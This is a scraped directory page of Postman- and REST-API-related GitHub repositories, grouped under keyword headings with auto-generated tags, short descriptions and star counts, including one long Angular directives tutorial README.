consume, data, mulesoft, soap, studio 		Consume soap data for add numbers. Tools used: mulesoft, anypoint studio, soap 5.5, postman... 0 stars 0 watchers 0 forks
evelynda1985/mulesoft-rest-webservice-app
mulesoft, rest, rest web, service, studio, webservice 		Call rest webserice using mulesoft, postman, anypoint studio 0 stars 0 watchers 0 forks
awaisbub/Shircle
aapplication, android, application, back end, business, businesses, customer, data, database, design, designed, developer, entity, following, framework, generation, insight, inventory, keeper, local, mobile, product, products, report, reports, rest, setup, solution, store, stores, studio, track 		It is Android aapplication back end code made for small local businesses. The back end of this application is in C# .NET using MVC architecture making REST APIs. And all the views are on Android. I worked as a back end developer in this app. Back end of the app is in c# using .NET entity framework. REST APIs developed using Model View Controller(MVC) architecture. Views were designed on android studio. The database was designed by using Code First Approach. (Visual Studio, Android Studio, Microsoft Azure, Microsoft SQL, SQLite, Postman, Entity Framework, MVC, Firebase REST API’s, REST API’s, JSON) This app has the following features: I. It provides all in one business solution to shopkeepers. Shopkeeper can setup his online store, manage sales through mobile POS, track of inventory, sale reports generation, market insights, and trending products. II. On the other hand, customer can view nearby stores through Google Maps & Shircle-Eye, add products to virtual cart, and view trending items according to their interests. 0 stars 0 watchers 0 forks
evelynda1985/muleSetVariableApp
console, expect, list, listen, method, send, studio, variable, variables 		Mulesoft 4, anypoint studio, HTPP listener, 2 set variables. payload, logger. Tested using Postman, POST method sending in the body a JSON. Result expected in Postman and in the console log. 0 stars 0 watchers 0 forks
evelynda1985/myFirstMuleApp
list, listen, studio, test 		Mulesoft 4, anypoint studio, HTTP listener, payload, log. I used Postman to test GET and through the payload the text. 0 stars 0 watchers 0 forks
jeanalgoritimo/parcelamento
data, form, format, host, http, local, studio, visual 		Teste de Avaliação do Jean Silva para a empresa Ctis.Caminho da aplicação do Postman http://localhost:port/api/cadastro/CadastrarDados Padrao do dados a ser enviados { "numeroParcelas": 10, "Datas": "01/01/2018", "valorTotalCredito":10000.00 } O Valor totoal de crédito desse nesse formato acima com ponto antes das duas casas decimais e se o valor for acima de mil reais não colocar pontos.A data deve ser no formato dd//mm/yyyy e número de parcela de forma em inteiro.Programa foi construído no visual studio 2017 0 stars 0 watchers 0 forks
Oreramirez/TrabajoUnidad01-BDII
concept, endpoint, endpoints, public, studio, todo, unit, util, utilizando, visual 		TRABAJO FINAL DE UNIDAD Desarrollar una aplicación cualquiera utilizando la tecnica Mapeo Objeto Relacional (OR/M), se deben incluir al menos 05 pruebas unitarias y 05 endpoints de APIs con su correspondiente prueba con Postman Formato: Latex publicado en Github 1. PROBLEMA (Breve descripción) 2. MARCO TEORICO (referencias de conceptos de libros) 3. DESARROLLO 3.1 ANALISIS (Casos de Uso) 3.2 DISEÑO (Diagrama de Clases, Modelo Entidad Relación) 3.3 PRUEBAS (Pruebas unitarias de métodos de clases utilizados) Nota; este trabajo debe estar alineado con el proyecto en el visual studio cargado en el GIT HUB Adicionar a esto también la ruta del proyecto en Git Hub 0 stars 0 watchers 0 forks

exploring (8 listings) (Back to Top)

deeplook/ipyrest
book, books, emerging, exploring, note, rest 		An emerging widget for exploring RESTful APIs in Jupyter notebooks. 17 stars 17 watchers 1 forks
transferwise/public-api-postman-collection
collection, exploring, public, test, testing, transferwise 		A Postman collection for exploring and testing the TransferWise public API 0 stars 0 watchers 3 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-CSharp
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 1 stars 1 watchers 1 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-PHP
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 1 stars 1 watchers 1 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-Java
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 0 stars 0 watchers 3 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-Ruby
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 1 stars 1 watchers 0 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-Python
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 0 stars 0 watchers 0 forks
roachdaddy89/PostMate-Rest-App
application, exploring, native, react, route, routes, storing 		PostMate is a react-native application for exploring and storing custom api routes like postman. 0 stars 0 watchers 0 forks

objects (8 listings) (Back to Top)

sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
smmcgrath/MyFirstApp
access, accessed, application, auth, authentication, backend, case, client, comments, communicate, data, database, databases, design, designed, development, environment, example, form, framework, function, hashi, host, hosted, includes, including, mean, mini, minimal, move, moved, network, object, objects, program, protecting, remote, rest, restrict, retrieve, schema, schemas, server, site, source, style, terminal, test, tested, token, tokens, transform, transforming, updated, web app 		Built in Node.js open source server framework. In this project I moved from client-side development (using JavaScript, HTML, and CSS) to building a server-side web application using the Express.js web framework hosted in Node.js runtime environment. The site includes a flatty style landing page including navigatation bar, sign-up forms, staff info etc. It has an uncluttered and minimal UI. The backend API’s communicated with databases designed using MongoDB, an example of a NoSQL database program using JSON-like objects with schemas. All APIs, including GET, PUT, UPDATE and DELETE were tested using Postman. Great experience using PuTTY open-source terminal emulator, working remotely over SSH network protocol. Securing my API with authentication; hashing passwords using Bcrypt and issuing tokens with JSON Web Token (JWT). New additions help to restrict access and ensure tokens are verified. Previous to this the back-end APIs could be easily accessed via the URL. User comments coudl be retrieved, new ones saved, deleted or updated. Hashing is a means of transforming a string of characters (passwords, in my case) into a different and larger set of characters, thus protecting our sensitive data. Bcrypt is the password hashing function used. 1 stars 1 watchers 0 forks
Umang080799/CRUD-App-
action, book, books, details, form, host, local, object, objects, reading, rest, restful, route, routes, server, updating 		I made a Crud App using Node.js,Express.js and Mongoose.js. I built out a book Schema for creating,reading,updating and deleting books. Used Express Scripts to create routes that will form the basis for a restful API. Used POSTMAN to perform actions on the routes All the book details were altered as JSON objects. I created and used Google Chrome to confirm the changes made on the local host server port 8080. 1 stars 1 watchers 0 forks
postmanlabs/curl-to-postman
curl, object, objects 		Converts curl requests to Postman Collection v2 request objects 0 stars 0 watchers 2 forks
anshhora7/PaymentService
object, objects, parameter, service, user 		Payment Service is a Sring Boot service, which allows user to subscribe a plan aacording to its use. Postman is also used here to provide JSON objects and the nesseccery parameters for the project. 0 stars 0 watchers 0 forks
GideonFlynn/Item-Catalog
catalog, framework, object, objects, rest 		A catalog of objects where each item has a category, shop, and manufacturer. It has a useful API made with Postman, the rest of the code; Python with the Flask framework, and PostgreSQL 0 stars 0 watchers 0 forks
mblarsen/postman-generator-v1
collection, document, documents, generator, object, objects 		Creates postman v1 collection documents from JSON objects 0 stars 0 watchers 0 forks
mbMosman/serverside-tasks-with-sub-cat
action, data, database, object, objects, server, servers, serverside, task, tasks, transactions 		Serverside code only for a tasks database with subtasks and categories with Postman Tests. (Postgres/pg with JSON objects & transactions) 0 stars 0 watchers 0 forks

runs (8 listings) (Back to Top)

postmanlabs/runscope-to-postman
runs, runscope 		Convert Runscope Radar Tests to Postman Collection v2 9 stars 9 watchers 8 forks
kyleweishaar-zz/JIRA-postman
bunch, collection, postman collection, runs, script, task, tasks 		A script that runs postman collection to build a bunch of JIRA tasks 0 stars 0 watchers 4 forks
beekman/resty
browser, client, http, rest, resty, runs 		RESTy is an API Server client appliction. It’s a lot like Postman or httpie, but it runs in the browser. 0 stars 0 watchers 0 forks
dandimrod/PostmanLocalMock
collection, mock, postman collection, runs, util, utility 		Simple utility that runs a mock api out of an API using a postman collection as a base. 0 stars 0 watchers 0 forks
foxy-the-web/postman-workflows
collection, runs, workflow 		Scripts to control collection runs in postman. 0 stars 0 watchers 0 forks
jarunswe/employee
details, employee, runs 		Staff details create,update,view and delete through postman 0 stars 0 watchers 0 forks
k4l397/newman-dr
client, collection, collections, directory, java, javascript, newman, runs, script, tool, wraps 		This is a javascript tool that wraps the newman postman client and runs all collections in a directory. 0 stars 0 watchers 0 forks
mamund/norman
newman, runner, runs, test, test run 		test runner for cli postman runs using newman 0 stars 0 watchers 0 forks

transform (8 listings) (Back to Top)

stoplightio/prism
file, form, format, light, mock, server, stoplight, transform, validation 		Turn any OpenAPI2/3 and Postman Collection file into an API server with mocking, transformations and validations. 1119 stars 1119 watchers 91 forks
postmanlabs/postman-collection-transformer
collection, form, struct, structure, transform, validation, version 		Perform rapid conversion and validation of JSON structure between Postman Collection Format v1 and v2. 16 stars 16 watchers 18 forks
DoctorWhoFR/PostPy
document, documentation, export, form, markdown, python, tool, transform 		A python tool to transform postman documentation export into basic markdown for Github Wiki in exemple. 1 stars 1 watchers 0 forks
smmcgrath/MyFirstApp
access, accessed, application, auth, authentication, backend, case, client, comments, communicate, data, database, databases, design, designed, development, environment, example, form, framework, function, hashi, host, hosted, includes, including, mean, mini, minimal, move, moved, network, object, objects, program, protecting, remote, rest, restrict, retrieve, schema, schemas, server, site, source, style, terminal, test, tested, token, tokens, transform, transforming, updated, web app 		Built in Node.js open source server framework. In this project I moved from client-side development (using JavaScript, HTML, and CSS) to building a server-side web application using the Express.js web framework hosted in Node.js runtime environment. The site includes a flatty style landing page including navigatation bar, sign-up forms, staff info etc. It has an uncluttered and minimal UI. The backend API’s communicated with databases designed using MongoDB, an example of a NoSQL database program using JSON-like objects with schemas. All APIs, including GET, PUT, UPDATE and DELETE were tested using Postman. Great experience using PuTTY open-source terminal emulator, working remotely over SSH network protocol. Securing my API with authentication; hashing passwords using Bcrypt and issuing tokens with JSON Web Token (JWT). New additions help to restrict access and ensure tokens are verified. Previous to this the back-end APIs could be easily accessed via the URL. User comments coudl be retrieved, new ones saved, deleted or updated. Hashing is a means of transforming a string of characters (passwords, in my case) into a different and larger set of characters, thus protecting our sensitive data. Bcrypt is the password hashing function used. 1 stars 1 watchers 0 forks
buianhthang/wsdl2postman
collection, form, postman collection, transform, wsdl 		transform wsdl to postman collection 0 stars 0 watchers 0 forks
Fantaso/url-shortener-api
django, django rest, ember, form, framework, rest, shortener, transform, user 		Url shortener API with Django and django rest framework. Project consists to allow a user to transform a long web url into a pattern-consistent (encoded) small url easy to share and remember. 0 stars 0 watchers 0 forks
Neuromobile/newman-vcs-parser
collection, collections, form, format, mobile, newman, parse, parser, transform, version 		A parser to transform Postman/newman collections to a versionable format 0 stars 0 watchers 0 forks
randomdize/json-to-postman-form-data
bulk, data, form, json, object, random, transform, transforming 		transforming json key-value object to form-data for postman bulk edit. 0 stars 0 watchers 0 forks

logs (8 listings) (Back to Top)

prakhar1989/Blogera
blog, blogs, logs 		Postman for your blogs 1 stars 1 watchers 1 forks
rohityo/Blogs-website
logs, program, site, software, test, testing, tool, website 		In this project, implemented API End-point with Blog medium website and the uses of postman software tool for testing the programme. 0 stars 0 watchers 0 forks
Ayorinde-Codes/RequestLogger
agent, browser, data, database, execution, logs, package 		A Laravel package that logs requests ip, agent(browser or postman), payload request, payload response, Time of execution and url in the database within any request call 0 stars 0 watchers 0 forks
Ayushverma8/Alexa.WithPostmanis.fun
blog, blogs, form, format, information, informational, logs, tool, tools 		Contains informational blogs and FOSS tools build with Postman Collections and Alexa 0 stars 0 watchers 0 forks
fe3dback/web-debug-tools
api blueprint, application, asyncapi, debug, form, format, information, json schema, logs, oauth, openid, route, routes, sql, symfony, tool, tools 		WIP! - GUI application, "Postman" + "symfony debug toolbar", allow to develop api with additional response information (sql, logs, routes, acl, etc..) 0 stars 0 watchers 0 forks
harryi3t/postman-logs
file, files, logs 		Visualize Postman log files 0 stars 0 watchers 0 forks
Raremaa/postmanToApiHtml
blog, blogs, html, http, https, java, logs 		一个基于postman的java小工具，用于将postman导出的v1文档转换为html文档（本人仅负责整合,原创者地址:https://www.cnblogs.com/XiOrang/p/5652875.html,https://www.cnblogs.com/xsnd/p/8708817.html） 0 stars 0 watchers 0 forks
shankj3/logspout_newman_reporter
lines, logs, newman, print, prints, report, reporter 		Newman reporter that prints JSON lines for ingestion by logspout 0 stars 0 watchers 0 forks

fork (8 listings) (Back to Top)

empeje/midtrans-iris-collections
collection, collections, fork, free, iris, maintained, official 		[Unofficial] Postman Collections for Midtrans' Iris Disbursement Service | Not maintained anymore, feel free to fork! 1 stars 1 watchers 1 forks
rpgplanet/django-postman
copy, django, fork, personal, planet 		personal copy/fork of django-postman 1 stars 1 watchers 1 forks
gustavrannestig/postman-encryptedCharfields
django, fields, fork, message, nest, storing, subject 		A fork of django-postman that encrypt the body and subject of a message before storing in db 0 stars 0 watchers 0 forks
minhhai2209/postman-sample
access, environment, fork, github, http, https, modification, newman, properties, sample 		Sample on how to use the fork at https://github.com/minhhai2209/newman#accessible-environment to set Postman properties from Newman. See the modification at https://github.com/minhhai2209/postman-runtime/commit/764c6b9a170e71b055dce077fba12960e6b87d93. 0 stars 0 watchers 0 forks
Morakir/django-postman
django, fork 		forked django-postman for project purposes 0 stars 0 watchers 0 forks
ovnicraft/django-postman
bitbucket, bucket, django, fork, http, https 		My own fork from https://bitbucket.org/psam/django-postman/overview 0 stars 0 watchers 0 forks
prototypsthlm/postman-encryptedCharfields
django, fields, fork 		A fork of django-postman to encrypt a pair of fields 0 stars 0 watchers 0 forks
StriveForBest/django-postman
ajax, django, fork, form, function, functional, place, placeholder, support 		django-postman fork to support ajax response, form placeholders and `mark as read` functionality 0 stars 0 watchers 0 forks

webapi (8 listings) (Back to Top)

GLEBR1K/webapi-jwt-example
example, webapi 		.NET Core Web API (JWT Auth) Example 3 stars 3 watchers 1 forks
sanjaysaini2000/aspnet-core3-webapi
aspnet, demonstrate, named, operation, operations, webapi 		This is Web API named BookStoreAPI developed with asp.net core 3 using Entity Framework Core 3 and SQL Server as back-end to demonstrate simple out of the box CRUD operations. 2 stars 2 watchers 0 forks
carlosaguirreneves/aspnetcore.webapi
aspnet, aspnetcore, automat, automatizados, test, webapi 		ASP.NET Core Web API com EntityFrameworkCore usando Token JWT, Docker e Postman para testes automatizados. 1 stars 1 watchers 0 forks
thenikhilk/jwt-auth-webapi
auth, authenticate, authenticates, case, data, endpoint, endpoints, exposes, query, reviews, util, utility, webapi 		The purpose of this code is to develop the Restaurent API, using Microsoft Web API with (C#),which authenticates and authorizes some requests, exposes OAuth2 endpoints, and returns data about meals and reviews for consumption by the caller. The caller in this case will be Postman, a useful utility for querying API’s. 1 stars 1 watchers 0 forks
dmitry-baranov/webapitest
apitest, test, webapi 		Postman 0 stars 0 watchers 0 forks
rashidmajeed/dotnetcore-postgresql
api blueprint, asyncapi, backend, consume, dotnet, endpoint, endpoints, json schema, oauth, openid, postgres, postgresql, sql, storage, test, tested, webapi 		c#.netcore 2.1 is for backend webapi and for storage postgresql is used. Web api is exposed as endpoints and are tested by postman. Frontend will be soon availabe to consume web api's 0 stars 0 watchers 0 forks
rgooler/steam_to_openapi3
import, insomnia, openapi, output, tool, tools, webapi 		Converts steam's webapi output into openapi3 for easy importing into tools like postman and insomnia 0 stars 0 watchers 0 forks
shawnzxx/PostmanTestAzureB2C
grant, token, webapi 		Postman use to grant token, webapi use for validate token 0 stars 0 watchers 0 forks

generation (8 listings) (Back to Top)

Tiemma/isw-docs-demo
docs, document, documentation, generation 		Automated documentation generation using Slate and Postman Collections 0 stars 0 watchers 4 forks
SimplifyNet/Simplify.Web.Postman
collection, environment, extension, generation 		Postman collection and environment generation extension for Simplify.Web. 1 stars 1 watchers 0 forks
shaishab/sequelize-express-example
application, example, express, generation, schema, sequelize 		An example for the usage of Sequelize within an Express.js application with schema generation from existing table 0 stars 0 watchers 1 forks
flascelles/synthetic-API-traffic-generation
collection, collections, general, generate, generation, model, models, postman collection, postman collections, script, scripts, traffic, training 		scripts and postman collections to generate synthetic api traffic for training ML models and general purposes 0 stars 0 watchers 0 forks
AlexMoroz/swagger2posman
collection, continuous, development, environment, generation, swagger, swagger2 		Idea: continuous generation of Postman collection and environment from swagger during development 0 stars 0 watchers 0 forks
awaisbub/Shircle
aapplication, android, application, back end, business, businesses, customer, data, database, design, designed, developer, entity, following, framework, generation, insight, inventory, keeper, local, mobile, product, products, report, reports, rest, setup, solution, store, stores, studio, track 		It is Android aapplication back end code made for small local businesses. The back end of this application is in C# .NET using MVC architecture making REST APIs. And all the views are on Android. I worked as a back end developer in this app. Back end of the app is in c# using .NET entity framework. REST APIs developed using Model View Controller(MVC) architecture. Views were designed on android studio. The database was designed by using Code First Approach. (Visual Studio, Android Studio, Microsoft Azure, Microsoft SQL, SQLite, Postman, Entity Framework, MVC, Firebase REST API’s, REST API’s, JSON) This app has the following features: I. It provides all in one business solution to shopkeepers. Shopkeeper can setup his online store, manage sales through mobile POS, track of inventory, sale reports generation, market insights, and trending products. II. On the other hand, customer can view nearby stores through Google Maps & Shircle-Eye, add products to virtual cart, and view trending items according to their interests. 0 stars 0 watchers 0 forks
lmaxim/PostmanWSSEToken
auth, generation, header, mars, script 		Pre-request script for Postman provide auth header generation for API calls in Emarsys 0 stars 0 watchers 0 forks
psn30595/Universal-Ticket-Generation-Service-for-Events
